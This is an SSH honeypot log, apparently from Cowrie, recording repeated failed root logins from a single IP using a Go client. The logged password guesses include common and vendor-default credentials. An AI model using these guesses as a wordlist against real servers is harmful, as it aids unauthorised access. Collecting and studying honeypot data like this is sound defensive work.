{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:16.176949Z","src_ip":"60.165.124.241","session":"878d43788395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321@","message":"login attempt [root/Aa123321@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:19.289115Z","src_ip":"60.165.124.241","session":"878d43788395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:20.557731Z","src_ip":"60.165.124.241","session":"878d43788395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44572,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5b66929348","protocol":"ssh","message":"New connection: 60.165.124.241:44572 (10.17.0.5:22) [session: da5b66929348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:21.801206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:21.806688Z","src_ip":"60.165.124.241","session":"da5b66929348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:23.581196Z","src_ip":"60.165.124.241","session":"da5b66929348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456!","message":"login attempt [root/Aa@123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:25.086828Z","src_ip":"60.165.124.241","session":"da5b66929348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:26.345983Z","src_ip":"60.165.124.241","session":"da5b66929348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51380,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac151a8dc58","protocol":"ssh","message":"New connection: 60.165.124.241:51380 (10.17.0.5:22) [session: 2ac151a8dc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:27.589692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:27.594755Z","src_ip":"60.165.124.241","session":"2ac151a8dc58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:28.566681Z","src_ip":"60.165.124.241","session":"2ac151a8dc58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hx123456!","message":"login attempt [root/Hx123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:29.326070Z","src_ip":"60.165.124.241","session":"2ac151a8dc58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:30.582753Z","src_ip":"60.165.124.241","session":"2ac151a8dc58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56514,"dst_ip":"10.17.0.5","dst_port":22,"session":"836ed4cfb81c","protocol":"ssh","message":"New connection: 60.165.124.241:56514 (10.17.0.5:22) [session: 836ed4cfb81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:30.833915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:30.838933Z","src_ip":"60.165.124.241","session":"836ed4cfb81c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:31.093762Z","src_ip":"60.165.124.241","session":"836ed4cfb81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55w0rd","message":"login attempt [root/p@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:31.829219Z","src_ip":"60.165.124.241","session":"836ed4cfb81c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:33.069112Z","src_ip":"60.165.124.241","session":"836ed4cfb81c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59202,"dst_ip":"10.17.0.5","dst_port":22,"session":"c43bacd83c34","protocol":"ssh","message":"New connection: 60.165.124.241:59202 (10.17.0.5:22) [session: c43bacd83c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:33.323241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:33.327961Z","src_ip":"60.165.124.241","session":"c43bacd83c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:33.574471Z","src_ip":"60.165.124.241","session":"c43bacd83c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin","message":"login attempt [root/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:34.321597Z","src_ip":"60.165.124.241","session":"c43bacd83c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:35.574650Z","src_ip":"60.165.124.241","session":"c43bacd83c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34282,"dst_ip":"10.17.0.5","dst_port":22,"session":"231b774fa1a4","protocol":"ssh","message":"New connection: 60.165.124.241:34282 (10.17.0.5:22) [session: 231b774fa1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:35.803200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:35.809721Z","src_ip":"60.165.124.241","session":"231b774fa1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:36.050141Z","src_ip":"60.165.124.241","session":"231b774fa1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd123!","message":"login attempt [root/Passw0rd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:36.777487Z","src_ip":"60.165.124.241","session":"231b774fa1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:38.029601Z","src_ip":"60.165.124.241","session":"231b774fa1a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37248,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd8dd71b27c4","protocol":"ssh","message":"New connection: 60.165.124.241:37248 (10.17.0.5:22) [session: cd8dd71b27c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:38.275610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:38.281010Z","src_ip":"60.165.124.241","session":"cd8dd71b27c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:38.533935Z","src_ip":"60.165.124.241","session":"cd8dd71b27c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin111","message":"login attempt [root/Admin111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:39.254601Z","src_ip":"60.165.124.241","session":"cd8dd71b27c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:40.501642Z","src_ip":"60.165.124.241","session":"cd8dd71b27c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40134,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f37fa24d96","protocol":"ssh","message":"New connection: 60.165.124.241:40134 (10.17.0.5:22) [session: f4f37fa24d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:40.739175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:40.744031Z","src_ip":"60.165.124.241","session":"f4f37fa24d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:40.997267Z","src_ip":"60.165.124.241","session":"f4f37fa24d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temporal","message":"login attempt [root/temporal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:41.729218Z","src_ip":"60.165.124.241","session":"f4f37fa24d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:42.985651Z","src_ip":"60.165.124.241","session":"f4f37fa24d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43320,"dst_ip":"10.17.0.5","dst_port":22,"session":"65bfcc92e3fa","protocol":"ssh","message":"New connection: 60.165.124.241:43320 (10.17.0.5:22) [session: 65bfcc92e3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:43.220179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:43.224906Z","src_ip":"60.165.124.241","session":"65bfcc92e3fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:43.463126Z","src_ip":"60.165.124.241","session":"65bfcc92e3fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p12cHANgepwD","message":"login attempt [root/p12cHANgepwD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:44.209719Z","src_ip":"60.165.124.241","session":"65bfcc92e3fa","protocol":"ssh"}
